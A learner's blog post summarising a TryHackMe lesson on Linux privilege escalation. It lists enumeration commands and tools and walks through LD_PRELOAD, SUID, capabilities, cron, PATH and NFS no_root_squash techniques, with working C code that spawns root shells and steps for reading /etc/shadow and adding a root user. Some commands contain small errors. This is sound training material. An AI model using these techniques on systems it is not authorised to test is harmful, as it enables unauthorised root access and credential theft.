There are no silver bullets or one solution for all the scenarios when dealing with Linux privilege escalation: It depends on the configuration of the target.
Let’s escalate our knowledge in our daily #FromZeroToHacker challenge.
Table of contents |
Introduction |
What have I learnt today? |
Stats |
Resources |
Introduction to Linux privilege escalation
There are no silver bullets or one solution for all the scenarios when dealing with Linux privilege escalation: It depends on the configuration of the target (OS, supported programming languages, kernel version, etc).
Let’s see all the main privilege escalation techniques on Linux machines.
What have I learnt today?
What is Privilege escalation?
Before talking about privilege escalation let’s understand this concept first.
Privilege escalation involves going from a lower permission account to a higher permission one, by exploiting a vulnerability, design flaw or misconfiguration, to gain unauthorised access to resources you shouldn’t be available to have with your current user.
Why is it important?
Hardly we will be able to gain a foothold or initial access as an admin when doing a real penetration test. Nonetheless, having higher permissions is crucial, as we would be able to perform actions such as:
- Resetting passwords.
- Bypass access controls to protected data.
- Editing configurations.
- Enabling persistence.
- Changing the privilege of existing (or new) users.
- Execute any administrative command.
- And more.
Enumeration
Enumeration is the first step to take when you gain access to any system.
hostname
The hostname
command returns the hostname of the target machine. Sometimes this name is meaningless, like Ubuntu-238948953, but sometimes this may provide information about the target system’s role, for example, SQL-PROD-01 for a production SQL server.
uname -a
This will print all the system information with details (the -a
flag means all). This may be useful while checking for potential kernel vulnerabilities.
/proc/version
The proc filesystem (procfs) provides information about the target system processes.
/etc/issue
Systems can also be identified by looking at the /etc/issue
file, as it contains information about the OS. Beware, as this file may be manipulated by the admins to hide the real information.
ps command
The ps
command lists the running processes on a Linux system. As always, we have different options:
ps
lists the currently running processes.ps -A
lists all the running processes.ps axjf
displays the process tree.ps aux
displays the processes for all users (-a
), the user that launched the process (-u
), and the processes that are not attached to a terminal (-x
).
env
The env
command displays environmental variables.
sudo -l
The target system sometimes is configured to allow users to run some commands with root privileges. sudo -l
displays a list of all commands we can use running sudo
.
ls
List all the users in the current directory. ls -la
displays hidden files.
id
The id
command provides a general overview of the user’s privilege level and group memberships.
/etc/passwd
Reading the /etc/passwd
file is a good option to discover users on the system
We can clean it with cat /etc/passwd | cut -d ":" -f 1
:
This return all users, some of them are system or service users that wouldn’t be useful for us.
history
We can list earlier commands with history
.
ifconfig
The target system may be a pivoting point to another network. ifconfig
give us information about the network interfaces of the system.
Here, we have three interfaces: eth0, tun0 and tun1. We have access to the eth0 interface, but not the other two.
netstat
The netstat
command prints information about the Linux networking system.
netstat -a
shows all listening ports and established connections.netstat -at
ornetstat -au
can be used to list TCP or UDP protocols.netstat -l
lists ports in listening mode: Ports open and ready to accept incoming connections.netstat -s
lists network usage statistics by protocolnetstat -tp
lists connections with the service name and PID information.netstat -i
shows interface statistics.
The most used netstat command is netstat -ano
, which uses the following flags:
- -a for All sockets.
- -n for do Not resolve names.
- -o display timers.
find
Searching for files and folders may help to discover privilege escalation vectors. Some common used commands are:
find . -name <NAME>
: Finds the NAME file in the current directory.find / -name <NAME>
: Finds the NAME file in all the system.find / -perm a=x
: Finds all the executable files.find / -mtime 10
: Find files that were modified in the last 10 days.find / -atime 10
: Find files that were accessed in the last 10 days.find / -cmin -60
: Find files that were changed in the last hour.find / -amin -60
: Find files that were accessed in the last hour.
The find
command sometimes generates error which makes the output hard to read. We can add 2>/dev/null
to the command to redirect the errors to /dev/null
and have a cleaner output:
To find folders, we use:
find / -writable -type d 2>/dev/null
: Find world-writeable folders.find / -perm -o x -type -d 2>/dev/null
: Find world-executable folders.
Other commands:
find / -name python*
: Find supported languages (python, in this particular command).find / -perm -u=s -type f 2>/dev/null
: Find files with the SUID (Special file permissions for executable files) bit, which allows us to run the file with a higher privilege level.
Automated enumeration tools
Wow, that was a LOT of enumeration commands to remember!
Luckily, programmers are lazy, and we have at our disposal a load of tools that can help us save time during the enumeration process.
While this let us automate the process, their imperfection may make us miss some privilege escalation vectors. You win some you lose some.
- LinPeas: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
- LinEnum: https://github.com/rebootuser/LinEnum
- LES (Linux Exploit Suggester): https://github.com/mzet-/linux-exploit-suggester
- Linux Smart Enumeration: https://github.com/diego-treitos/linux-smart-enumeration
- Linux Priv Checker: https://github.com/linted/linuxprivchecker
Privilege Escalation: Kernel exploits
The idea behind privilege escalation is to reach root privileges. Sometimes we achieve this by just exploiting an existing vulnerability, but sometimes by switching accounts.
Unless a single vulnerability leads to a root shell, the privilege escalation process will rely on misconfigurations and lax permissions.
The kernel on Linux systems manages the communication between components (memory, applications…). This critical function requires the kernel to have specific privileges, and an exploit can lead to root privileges.
The kernel exploit methodology is simple:
- Identify the kernel version.
- Search and find an exploit code for the kernel version of the target system.
- Run the exploit.
Simple, right? But remember that a failed kernel exploit can lead to a system crash.
Research sources:
- Based on your findings, use Google to search for an existing exploit code.
- Sources such as Linux Kernel CVEs can be useful.
- An alternative would be to use a script like LES (Linux Exploit Suggester), but this may generate false positives.
Hints
- Don’t be too specific about the kernel version.
- Understand how the exploit code works BEFORE launching it.
- Some exploits may require further interaction once they are run. Read the comments and instructions provided.
- You can transfer the exploit code from your machine to the target with the Python HTTP server and the
wget
command.
Privilege escalation: Sudo
The sudo
command by default allows you to run a program with root privileges. Sometimes, sysadmins give regular users some flexibility on their privileges.
Any user can check its current privileges with the sudo -l
command.
GTFObins is a valuable website that provides information on how any program where we have sudo
rights can be used to escalate privileges.
Leverage application functions
Some applications may not have a known exploit (for example, Apache2). But we can use a hack to leak information leveraging a function of the application. For example, Apache2 has an option that supports loading alternative configuration files.
Loading the /etc/shadow
file using this option will result in an error message that includes the first line of the /etc/shadow
file.
Leverage LD_PRELOAD
On some systems, you may see the LD_PRELOAD env options:
![[day_057_ld_preload.png]]
LD_PRELOAD is a function that allows any program to use shared libraries. If the “env_keep” option is enabled, we can generate a shared library which will be loaded and executed before the program is run. To summarize, we:
- Check for LD_PRELOAD (with the env_keep option).
- Write a simple C code compiled as a shared object (.so extension) file.
- Run the program with sudo rights and the LD_PRELOAD option pointing to our .so file.
This C code spawns a root shell:
#include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash"); }
We can save this code as shell.c and compile it with gcc into a shared object file with gcc -fPIC s-hared -o shell.so shell.c -nostartfiles
.
Now we can use this shared object when launching any program our user can run with sudo.
We need to run the program by specifying the LD_PRELOAD option with sudo LD_PRELOAD=/home/user/ldpreload/shell.so find
.
This will result in a shell spawn with root privileges:
Privilege escalation: SUID
Much of Linux privilege controls rely on controlling the users and file interactions, done with permissions. Files can have read, write and execute permissions. These are given to users within their privilege levels. This changes with SUID (Set-User IDentification) and SGID (Set Group IDentification). These allow files to be executed with the permission level of the file owner or the group owner.
These files have an s bit set showing their special permission level:
A good practice would be to compare executables on this list with GTFObins. Clicking on the SUID button will filter binaries known to be exploitable when the SUID bit is set.
The list above shows that nano has the SUID bit set. Sadly, GTFO bins don’t provide us with an easy solution. In typical real-life privilege escalation scenarios, we will need to find intermediate steps that will help us leverage whatever minuscule finding we have.
The SUID bit set for nano allows us to create, edit and read files using the file owner’s privilege. Nano is owned by root, which means that we can read and edit files at a higher privilege level than our current user has (unless we are root…). Now we have two options: Read the /etc/shadow
file or adding our user to /etc/passwd
.
After using file / -type f -perm -04000 -ls 2>/dev/null
we can see that nano has the SUID bit set.
Also cat /etc/shadow
will print the contents of the /etc/shadow
file. We can now use the unshadow tool to create a file crackable by John the Ripper. To achieve this, unshadow needs bot the /etc/shadow
and the /etc/passwd
files.
Let’s create a copy of both to play with:
The unshadow tool’s usage can be seen below:
We could also create a new user with root privileges.
To do so, we will need the hash value of the password we want the new user to have. We can do it quickly with the openssl tool on Kali Linux:
Then, we can add this password with a username to the /etc/passwd
file:
Now, we could switch users:
Privilege escalation: Capabilities
Admins can increase the privilege level of a process or binary with “Capabilities”. Capabilities help manage privileges at a granular level, giving permissions to specific users (instead of groups). We can use those privileges to run programs that we shouldn’t.
List enabled capabilities with getcap -r / 2>/dev/null
:
Here we have 6 files that we can use to leverage for privilege escalation. Search them in GTFOBins and run the code to achieve what you want:
Privilege escalation: Cron jobs
Cron jobs are scripts that run at specific times. They run with the privilege of their owners, not the current use, so we can use them to run the code that we want.
The idea is that if there is a scheduled task that runs with root privileges, we change the script to run our code with root privileges.
We can read the file-keeping system cron jobs with cat /etc/crontab
.
Here we can see that 4 scripts run every minute as a root user.
Crontab is always worth checking, as sometimes sysadmins create a cron job to run a script, and once the task is not needed, they delete the script but not the cron job that we can exploit.
Privilege escalation: PATH
PATH in Linux is an environment variable that tells the operating system where to search for executables. If a folder for which our user has write permission is located in the path, we can potentially hijack an application to run a script.
Do we have folders under $PATH with high privileges? If not, search for folders with writing permissions with find / -writable 2>/dev/null | grep usr | cut -d "/" -f 2,3 | sort -u
.
One of the folders that may have writing permissions is /tmp
, but at this point /tmp is not present in our PATH. We can add a folder to the PATH with export PATH=<OUR_FOLDER>:$PATH
. For example, export PATH=/tmp:$PATH
.
Now, we can create files here. Let’s create a file that can read a text file.
echo "cat <PATH_TO_FILE>" > <NEW_FILE>
Now, let’s grant it permission:
chmod 777 <NEW_FILE> ls -la
We can’t just run this file raw. Let’s create a script that will launch a binary system:
#include<unistd.h> void main() { setuid(0); setgid(0); system("thm"); }
Save the file, turn it into an executable and set the SUID bit:
gcc <FILENAME>.c -o path -w chmod u+s path ls -l
Once executed, path will look for an executable named thm inside folders listed under PATH.
Privilege escalation: NFS
We can use shared folders and remote management interfaces misconfigurations to gain access to the target system.
You can read the NFS (Network File Sharing) file with cat /etc/exports
.
At the end of the print, we can see three directories. Any directory with no_root_squash is a potential vulnerability, as we can create an executable with SUID bit set and run on the target system.
Enumerate mountable shares from our own machine with showmount -e <TARGET_IP>
:
Then, we will mount one of the no_root_squash shares to our own machine:
mount -o rw <TARGET_IP>:/<SHARE_DIRECTORY> <LOCAL_DIRECTORY>
mount -o rw 10.10.94.73:home/ubuntu/sharedfolder /tmp
Now, create a .c file, add an exploit code, compile it and set the SUID bit:
Here is the code:
#include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(void) { setuid(0); setgid(0); system("/bin/bash -p"); return 0; }
We have an exploit in our machine and, thanks to the folder with no_root_squash, it is also in theirs 🙂
Now, just run the code on the target machine to become root:
Summary
P.S: This lesson took me 4 days to finish. It was pretty long, but I also noticed one thing: The whole path has MEDIUM difficulty. I just started Cyber Security less than 2 months ago. I noticed an increase in the difficulty by a lot. But finally I’m done with this lesson.
Besides new commands to enumerate and a few automated enumeration tools, we have learned how to escalate privileges with:
- Kernel exploits which we can find in Exploit-DB and googling.
- Executing commands with root privileges or sudo.
- Using files that have SUID privileges.
- Process with Capabilities.
- Manipulating Cron jobs.
- Adding routes to $PATH to execute an exploit.
- Mounting NFS vulnerable directories to pass exploits.
Stats
From 75.292th to 72.336th.
Here is also the Skill Matrix:
Resources
Path: Jr Penetration tester
Privilege Escalation
TryHackMe: Linux Privilege Escalation
Other resources
LinPeas
LinEnum
Linux Smart Enumeration
LES (Linux Exploit Suggester)
Linux Priv Checker
Linux Kernel CVEs